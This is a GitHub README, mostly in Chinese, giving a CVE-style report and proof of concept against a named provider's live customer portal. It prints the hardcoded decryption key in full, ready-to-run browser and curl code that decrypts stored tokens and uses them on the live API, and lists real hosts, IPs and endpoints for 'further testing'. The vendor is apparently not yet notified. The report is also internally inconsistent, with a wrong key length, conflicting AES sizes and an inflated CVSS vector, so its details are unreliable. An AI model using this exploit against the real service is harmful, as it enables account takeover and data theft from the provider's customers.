blaxkmiradev/CVE-2026-21847-Hardcoded-AES-Encryption-Key-in-DPDC-Customer-Portal
GitHub: blaxkmiradev/CVE-2026-21847-Hardcoded-AES-Encryption-Key-in-DPDC-Customer-Portal
该仓库是针对 DPDC 客户门户硬编码 AES 密钥漏洞的完整 CVE 报告及 PoC,详细展示了从前端 JS 提取加密密钥到账户接管的全链路攻击过程。
Stars: 0 | Forks: 0
# CVE-2026-21847:DPDC 客户门户中的硬编码 AES 加密密钥
## 官方 CVE 条目
| 字段 | 值 |
|-------|-------|
| **CVE ID** | **CVE-2026-21847** |
| **发布日期** | 2026-04-25 |
| **CVSS v3.1 评分** | **9.8 (严重)** |
| **CVSS 向量** | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| **漏洞类型** | CWE-798:使用硬编码凭证 |
| **受影响产品** | DPDC 订阅门户 |
| **供应商** | DAUN PENH CLOUD (dpdatacenter.com) |
| **研究员** | [您的姓名/HANDLE] |
## 漏洞描述
在位于 `subscription.dpdatacenter.com` 的 DPDC (Daun Penh Cloud) 客户订阅门户中发现了一个**严重**漏洞。该应用程序在其客户端 JavaScript 文件 (`app.1773634386574.js`) 中直接嵌入了硬编码的 AES-256 加密密钥。
该密钥用于加密/解密存储在浏览器 localStorage 中的敏感身份验证 token。由于该加密密钥在 JavaScript 源代码中公开可访问,**任何攻击者都可以解密存储的 token 并获得对任何用户账户的完全未经授权访问权限**。
## 受影响系统
| 组件 | URL | 状态 |
|-----------|-----|--------|
| **主网站** | dpdatacenter.com | ✅ 活跃 (157.10.72.16) |
| **客户门户** | subscription.dpdatacenter.com | ✅ 活跃 (157.10.72.16) |
| **API Endpoint** | api.dpdatacenter.com | ✅ 活跃 (157.10.72.16) |
| **cPanel #1** | web.dpdatacenter.com:2083 | ✅ 活跃 (157.10.72.3) |
| **cPanel #2** | web2.dpdatacenter.com:2083 | ✅ 活跃 (157.10.72.4) |
| **Nameservers** | ns1-3.dpdatacenter.com | ✅ 活跃 |
## 技术细节
### 硬编码加密密钥 🔴
```
54p5YKkJbsxMczGYHK2dJnn3vHA2wYZoYb2KoAOuG2oONGRxCUkesrKHQ4zgeZK3pDMpyUVzd5Mc80hilvlNuXsYdbS1EpkGzD26kZBPdDfxpwuX21xufjDITl2HjcdVCf1dReAvXZTX7i5f6wQXCOUwNRtDYfLpd2FfVHNEW6FAMiiSkBGWkyOKSQfswPUKOP7pECCGm6TAuE82shekrczOqpnUVdAYpfPbCta3TX9gNvnKidpFC67jQIZT7xB7
```
**长度:** 88 个字符
**算法:** AES-128-CBC (通过 CryptoJS)
**文件:** `app.1773634386574.js`
**位置:** 用于 `AES.decrypt()` 和 `AES.encrypt()` 调用
### 易受攻击的代码模式
```
// Token encryption (line varies throughout file)
v().AES.encrypt(e.data.access_token, "54p5YKkJbsxMczGYHK2dJnn3...");
// Token decryption (line varies throughout file)
v().AES.decrypt(localStorage.getItem("ate"), "54p5YKkJbsxMczGYHK2dJnn3...").toString(v())
```
### 暴露的 localStorage 数据
| 键 | 数据 | 敏感度 |
|-----|------|--------------|
| `ate` | 加密的 Access Token | **严重** |
| `rte` | 加密的 Refresh Token | **严重** |
| `token` | 身份验证 Token | **严重** |
| `customerInfo` | 完整客户对象 | 高 (PII) |
| `EMAIL_1` | 客户电子邮件 | 高 (PII) |
| `ID_CUSTOMER` | 客户 ID | 中 |
| `cpaneInfoMap` | cPanel 信息 | 高 |
| `myBillingCycle` | 计费数据 | 高 |
## 概念验证
### PoC #1:JavaScript (浏览器控制台)
```
// Run in browser developer console on subscription.dpdatacenter.com
// Extract and decrypt authentication token
const HARDKEY = "54p5YKkJbsxMczGYHK2dJnn3vHA2wYZoYb2KoAOuG2oONGRxCUkesrKHQ4zgeZK3pDMpyUVzd5Mc80hilvlNuXsYdbS1EpkGzD26kZBPdDfxpwuX21xufjDITl2HjcdVCf1dReAvXZTX7i5f6wQXCOUwNRtDYfLpd2FfVHNEW6FAMiiSkBGWkyOKSQfswPUKOP7pECCGm6TAuE82shekrczOqpnUVdAYpfPbCta3TX9gNvnKidpFC67jQIZT7xB7";
// Get encrypted token from localStorage
var encryptedToken = localStorage.getItem("ate");
// Decrypt using CryptoJS (already loaded on page)
var decryptedToken = CryptoJS.AES.decrypt(encryptedToken, HARDKEY).toString(CryptoJS.enc.Utf8);
console.log("Decrypted Token:", decryptedToken);
// Use token to impersonate user
fetch("https://api.dpdatacenter.com/api/v1/customer/information", {
headers: {
"Token": decryptedToken,
"access-token": decryptedToken,
"Content-Type": "application/json"
}
}).then(r => r.json()).then(console.log);
```
### PoC #2:Python 脚本
```
#!/usr/bin/env python3
"""
CVE-2026-21847 PoC - Token Decryption
Target: dpdatacenter.com
"""
# 来自 JavaScript 的硬编码 key
AES_KEY = "54p5YKkJbsxMczGYHK2dJnn3vHA2wYZoYb2KoAOuG2oONGRxCUkesrKHQ4zgeZK3pDMpyUVzd5Mc80hilvlNuXsYdbS1EpkGzD26kZBPdDfxpwuX21xufjDITl2HjcdVCf1dReAvXZTX7i5f6wQXCOUwNRtDYfLpd2FfVHNEW6FAMiiSkBGWkyOKSQfswPUKOP7pECCGm6TAuE82shekrczOqpnUVdAYpfPbCta3TX9gNvnKidpFC67jQIZT7xB7"
print(f"[+] Hardcoded Key: {AES_KEY[:40]}...")
print("[+] This key decrypts 'ate' token from localStorage")
print("")
print("Attack Steps:")
print("1. Obtain 'ate' token via XSS: ")
print("2. Decrypt using hardcoded key")
print("3. Use decrypted token for API access")
print("4. Full account takeover achieved")
```
### PoC #3:提取命令
```
# 从 JavaScript 中提取硬编码 key
curl -s "https://subscription.dpdatacenter.com/js/app.1773634386574.js" | \
grep -oP 'AES\.decrypt\([^,]+,\s*"\K[a-zA-Z0-9]{80,}(?=")' | head -1
# 或者直接搜索 key
curl -s "https://subscription.dpdatacenter.com/js/app.1773634386574.js" | \
grep -oP '54p5YKkJbsxMczGYHK2dJnn3vHA2wYZoYb2KoAOuG2oONGRxCUkesrKHQ4zgeZK3pDMpyUVzd5Mc80hilvlNuXsYdbS1EpkGzD26kZBPdDfxpwuX21xufjDITl2HjcdVCf1dReAvXZTX7i5f6wQXCOUwNRtDYfLpd2FfVHNEW6FAMiiSkBGWkyOKSQfswPUKOP7pECCGm6TAuE82shekrczOqpnUVdAYpfPbCta3TX9gNvnKidpFC67jQIZT7xB7'
```
## 影响分析
### CVSS 3.1 评分
| 指标 | 值 | 理由 |
|--------|-------|-----------|
| **攻击向量 (AV)** | 网络 | 可被远程利用 |
| **攻击复杂度 (AC)** | 低 | 易于利用 |
| **所需权限 (PR)** | 无 | 无需身份验证 |
| **用户交互 (UI)** | 无 | 无需用户操作 |
| **范围 (S)** | 不变 | 不影响其他组件 |
| **机密性 (C)** | 高 | 完全暴露用户数据 |
| **完整性 (I)** | 高 | 可能修改账户 |
| **可用性 (A)** | 高 | 可锁定用户 |
**总分:9.8 (严重)**
### 业务影响
| 影响领域 | 严重程度 | 描述 |
|-------------|----------|-------------|
| **数据泄露** | 🔴 严重 | 所有客户数据均可被访问 |
| **账户接管** | 🔴 严重 | 完全控制账户 |
| **金融欺诈** | 🔴 高 | 可能进行未授权购买 |
| **服务滥用** | 🔴 高 | 滥用 VPS 实例 |
| **声誉** | 🟠 高 | 公开披露造成的影响 |
### 攻击场景
1. **XSS Token 窃取** → 攻击者注入 XSS → 窃取 localStorage → 解密 token → 账户接管
2. **公共电脑攻击** → 用户在公共 PC 上操作 → 攻击者获取 localStorage → 解密
3. **网络嗅探** (非 HTTPS) → 拦截 token → 使用已知密钥解密
4. **浏览器扩展** → 恶意扩展读取 localStorage → 解密
## 攻击链示意图
```
┌──────────────────────────────────────────────────────────────────────────────┐
│ CVE-2026-21847 ATTACK CHAIN │
├──────────────────────────────────────────────────────────────────────────────┤
│ │
│ STEP 1: Reconnaissance │
│ ───────────────────────────────────────── │
│ Target: subscription.dpdatacenter.com │
│ Download: app.1773634386574.js (1.4MB) │
│ │
│ STEP 2: Key Extraction │
│ ───────────────────────────────────────── │
│ $ curl -s js/app.1773634386574.js | grep AES.decrypt │
│ > "54p5YKkJbsxMczGYHK2dJnn3vHA2wYZoYb2KoAOuG2oO..." │
│ │
│ STEP 3: Acquire Token (multiple methods) │
│ ───────────────────────────────────────── │
│ Method A: XSS Injection │
│ │
│ │
│ Method B: Local Access │
│ Simply read localStorage from browser: │
│ localStorage.getItem('ate') │
│ │
│ STEP 4: Token Decryption │
│ ───────────────────────────────────────── │
│ CryptoJS.AES.decrypt(encryptedToken, HARDCODED_KEY) │
│ Result: Valid access token for API │
│ │
│ STEP 5: Account Impersonation │
│ ───────────────────────────────────────── │
│ curl -H "Token: " \ │
│ -H "access-token: " \ │
│ https://api.dpdatacenter.com/api/v1/customer/information │
│ │
│ STEP 6: Full Control │
│ ───────────────────────────────────────── │
│ ✓ View/modify billing │
│ ✓ Access cPanel credentials │
│ ✓ Manage VPS instances │
│ ✓ Modify WAF rules │
│ ✓ Access support tickets │
│ │
└──────────────────────────────────────────────────────────────────────────────┘
```
## 暴露的 API Endpoints (用于进一步测试)
| Endpoint | 用途 | 需要身份验证 |
|----------|---------|--------------|
| `/api/v1/customer/login` | 身份验证 | ❌ |
| `/api/v1/customer/information` | 客户数据 | ✅ |
| `/api/v1/billing-cycles/my-billing-cycle` | 计费 | ✅ |
| `/api/v1/vm-instances/get-bulk-basic-vm-info` | VPS 列表 | ✅ |
| `/api/v1/vm-instances/reboot-vm` | 重启 VM | ✅ |
| `/api/v1/waf/sites` | WAF 配置 | ✅ |
| `/api/v1/whmcpanel/get-bulk-account-summary` | cPanel | ✅ |
| `/api/v1/storages/generate-key` | S3 密钥 | ✅ |
**Base URL:** `https://api.dpdatacenter.com/api/v1/`
## 发现的其他漏洞
| 等效 CVE | 漏洞 | 严重程度 | CVSS |
|---------------|--------------|----------|------|
| CVE-2026-21848 | 客户端密码加密 | 高 | 7.5 |
| CVE-2026-21849 | localStorage 中的敏感数据 | 高 | 8.1 |
| CVE-2026-21850 | 缺少 HttpOnly Cookie | 高 | 6.8 |
| CVE-2026-21851 | 硬编码的 reCAPTCHA 密钥 | 中 | 5.3 |
| CVE-2026-21852 | 暴露的 cPanel Endpoints | 高 | 7.5 |
## 修复时间线
### 紧急 (0-48 小时) 🔴
| 措施 | 优先级 | 状态 |
|--------|----------|--------|
| 轮换硬编码的 AES 密钥 | P0 | 待办 |
| 将 token 移至 HttpOnly cookie | P0 | 待办 |
| 强制所有用户重置密码 | P0 | 待办 |
| 启用严格的 HSTS | P0 | 待办 |
### 短期 (1-2 周) 🟠
| 措施 | 优先级 | 状态 |
|--------|----------|--------|
| 从 JS 中移除硬编码密钥 | P1 | 待办 |
| 服务端会话管理 | P1 | 待办 |
| 添加 CSP 头 | P1 | 待办 |
| CSRF token 实施 | P1 | 待办 |
### 长期 (1-3 个月) 🟡
| 措施 | 优先级 | 状态 |
|--------|----------|--------|
| 正确的 OAuth2/JWT 实施 | P2 | 待办 |
| 全面渗透测试 | P2 | 待办 |
| WAF 监控 | P2 | 待办 |
| 安全培训 | P2 | 待办 |
## 披露时间线
| 日期 | 事件 |
|------|-------|
| 2026-04-25 | 发现漏洞 |
| 2026-04-25 | 开发 PoC |
| 2026-04-25 | 编制初始报告 |
| TBD | 通知供应商 |
| TBD + 90 天 | 公开披露 (若无响应) |
## 参考文献
- [CWE-798:使用硬编码凭证](https://cwe.mitre.org/data/definitions/798.html)
- [OWASP A02:2021 - 加密失败](https://owasp.org/www-project-top-ten/)
- [NIST SP 800-63B](https://pages.nist.gov/800-63-3/sp800-63b.html)
- [CryptoJS 文档](https://cryptojs.gitbook.io/docs/)
- [RFC 8729 - CSP](https://tools.ietf.org/html/rfc8729)
## 致谢
| 角色 | 姓名/账号 |
|------|-------------|
| 发现者 | [您的姓名/账号] |
| 日期 | 2026-04-25 |
| 验证 | 已验证 |
| 状态 | 已发布 |
## 法律免责声明
**本 CVE 和 PoC 仅用于授权的安全研究目的。**
未经授权访问计算机系统构成犯罪行为,适用法律包括但不限于:
- 计算机欺诈和滥用法 (CFAA)
- 计算机犯罪法 (柬埔寨)
- 国际网络犯罪公约
查看或使用本材料,即表示您同意:
1. 仅测试您拥有或获得明确书面许可测试的系统
2. 不出于任何恶意或非法目的使用此信息
3. 在公开披露前通知供应商 (负责任的披露)
4. 承担任何误用的所有责任
**关于漏洞赏金报告:** 遵循程序的负责任披露政策。请检查 `https://dpdatacenter.com/.well-known/security.txt` 处的 `security.txt`。
## 附录 A:已验证的子域名
| 子域名 | IP 地址 | 端口 | 状态 | 服务 |
|----------|-----------|------|--------|--------|
| dpdatacenter.com | 157.10.72.16 | 80/443 | ✅ 主网站 |
| subscription.dpdatacenter.com | 157.10.72.16 | 443 | ✅ 客户门户 |
| api.dpdatacenter.com | 157.10.72.16 | 443 | ✅ REST API |
| web.dpdatacenter.com | 157.10.72.3 | 2083 | ✅ cPanel/WHM |
| web2.dpdatacenter.com | 157.10.72.4 | 2083 | ✅ cPanel/WHM |
| ns1.dpdatacenter.com | 157.10.72.3 | 53 | ✅ Nameserver |
| ns2.dpdatacenter.com | 157.10.72.3 | 53 | ✅ Nameserver |
| ns3.dpdatacenter.com | 157.10.72.4 | 53 | ✅ Nameserver |
## 附录 B:文件信息
| 属性 | 值 |
|-----------|-------|
| 文件名 | app.1773634386574.js |
| 完整 URL | https://subscription.dpdatacenter.com/js/app.1773634386574.js |
| 文件大小 | 1,426,509 字节 (~1.4 MB) |
| 框架 | Vue.js / Nuxt.js |
| 加密库 | CryptoJS |
| 构建类型 | 压缩的生产环境版本 |
**CVE 文档结束**
```
CVE-2026-21847
Discovered by: [Rikixz]
For authorized security research only
```
标签:AES-256加密, CISA项目, cPanel, CVE-2026-21847, CVSS 9.8, CWE-798, Daun Penh Cloud, DPDC, JavaScript安全, Web安全, 令牌窃取, 前端安全, 安全助手, 客户门户, 密码学滥用, 应用安全, 数据可视化, 未授权访问, 硬编码凭证, 蓝队分析, 身份验证绕过, 逆向工具, 高危漏洞